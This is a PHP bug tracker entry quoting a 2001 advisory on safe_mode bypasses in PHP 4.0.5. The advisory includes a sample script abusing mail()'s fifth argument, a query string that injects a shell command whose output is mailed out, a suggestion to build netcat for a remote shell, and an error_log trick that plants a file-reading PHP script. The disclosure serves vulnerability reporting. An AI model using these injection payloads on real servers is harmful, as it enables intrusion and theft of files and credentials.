ID: 11890
Updated by: zak
Reported By: [EMAIL PROTECTED]
Old-Status: Open
Status: Bogus
Bug Type: *General Issues
Operating system:
PHP Version: 4.0.5
Assigned To:
Comments:
Please check the existing bugs before posting a new one!
Previous Comments:
---------------------------------------------------------------------------
[2001-07-04 16:24:21] [EMAIL PROTECTED]
----- Original Message -----
From: "Joost Pol" <[EMAIL PROTECTED]>
To: <[EMAIL PROTECTED]>
Sent: Saturday, June 30, 2001 1:40 PM
Subject: php breaks safe mode
> Laberatoire Contempt
>
> Date : 12/06/2001
> Author : Joost Pol alias 'Nohican' ([EMAIL PROTECTED])
> Impact : Minor in most cases.
>
> Subject : PHP safe_mode troubles.
>
> 1. PHP Version 4.0.5 breaks safe-mode.
>
> 1.0 - Description of the problem
>
> An extra 5th parameter was added to the mail() command breaking
safemode:
>
> - snippet of the code in mail.c (lines 156-165)
>
> if (extra_cmd != NULL) {
> sendmail_cmd=emalloc(strlen(sendmail_path)+strlen(extra_cmd)+2);
> strcpy (sendmail_cmd, sendmail_path);
> strcat (sendmail_cmd, " ");
> strcat (sendmail_cmd, extra_cmd);
> } else
sendmail_cmd = sendmail_path; }
> sendmail = popen(sendmail_cmd,
} }
>
> - end of code snippet
>
> The popen() function is the C library function popen(3).
>
> An attacker could easily upload a simple evil.php script containing:
>
> <? mail("foo@bar,"foo","bar","",$bar); ?>
>
> Then the script could be invoked using a simple query like:
>
> http://foo.com/evil.php?bar=;/usr/bin/id|mail [EMAIL PROTECTED]
>
> 1.1 Impact
>
> Well, first of all it renders an important part of safe_mode useless.
>
> Two examples come to mind:
>
> 1.1.1 Example 1
>
> A customer has bougt some web space from a provider and is given only
> ftp access to upload his files. The customer is not supposed to have
> shell access nor view files outside of his home directory.
>
> The customer could easily upload and compile a "lite" version of the
> popular netcat tool (cd /usr/ports/*/netcat;make clean;make&&make
install) and spawn him self a remote shell on the hosting boxen.
>
> If something like suexec is not used by the provider, the shell
spawned
> could in fact be a "nobody" (uid of webserver) shell. This could make
> the situation even worse.
>
> Situations where (virtual) hosting machines are used in a host-based
> authentication scheme, i am not even willing to *consider*.
>
> 1.1.2 Example 2
>
> A customer has bought some web space from a provider and was given
> a shell account on the hosting boxen.
>
> If something similiar to suexec is not running the customer could
spawn
> him self a nobody (www, web, uid of webserver) shell. (1.1.1)
>
> The impact of this varies on a per setup/provider basis.
>
> Most providers just dont *expect* someone to have a shell with the uid
> of the webserver on the hosting box.
>
> "Internal" scripts, database schemes and database password are
commonly
> (but sadly) left owned by the uid/gid of the webserver. These become
> vulnerable.
>
> Even webserver configuration files (httpd.conf) and *complete*
webserver
> roots owned by the uid/gid of the webserver have been observed in
> the wild.
>
> Experience learns that when unexepected-nobody access is gained on a
> (virtual) hosting machine "bad" things are bound to happen sooner or
later.
>
> 1.2 - Solution
>
> Well, obviously just a "slip" of the PHP-team.
>
> 5th argument to mail() should not be honored in safe_mode. (MHO)
>
>
> 2. PHP Version 4.0.5/4.0.4pl1 SOMETIMES breaks safe_mode.
>
>
> 2.0 - Description of the problem
>
> PHP safe_mode has the nice feature of disallowing the opening/reading
> and writing to files that are not owned by the uid that the script
> is owned by.
>
> Though using some "common sense" it still is possible to open/read
> and write to files that are owned by the uid the webserver is
> running as.
>
> *notice* assuming that something like suexec is not in place */notice*
>
> An attacker could upload a simple script that does the following:
>
> <?
> $cmd = '<? showsource($foo); ?>';
> error_log($cmd,3,"/path/to/user/wwwspace/nobody.php");
> ?>
>
> For example, assuming that the error_log is owned by the webserver it
> could be read using a simple query:
>
> http://foo.bar/~user/nobody.php?foo=/path/to/webserver/logs/access_log
>
> 2.1 - Impact
>
> Depends on the setup of the hosting box.
>
> If suexec or something similiar is used, impact is nihil.
>
> See also 1.1.1/1.1.2
>
> 2.3 - Solution
>
> Disallow the changing of the error_log location in safe_mode?
>
> Not really for me to say, the PHP-team will come with something good.
>
> Notice: just changing the error_log function wont do, you could also
> change the ini setting error_log (or another ini setting
> that has a similiar effect).
>
> These ini settings can be set from a user script since they
> all have PHP_INI_ALL perimissions.
>
> Maybe disallow setting of ini variables in safemode?
>
> EOF
>
> --
> Joost Pol alias 'Nohican' <[EMAIL PROTECTED]> PGP 584619BD
> PGP fingerprint B1FA EE66 CFAA A492 D5F8 9A8A 0CDA 5846 19BD
> Laboratoire Contempt - Tel +31-6-28887995 Fax: +31-70-3873625
---------------------------------------------------------------------------
ATTENTION! Do NOT reply to this email!
To reply, use the web interface found at http://bugs.php.net/?id=11890&edit=2
--
PHP Development Mailing List <http://www.php.net/>
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]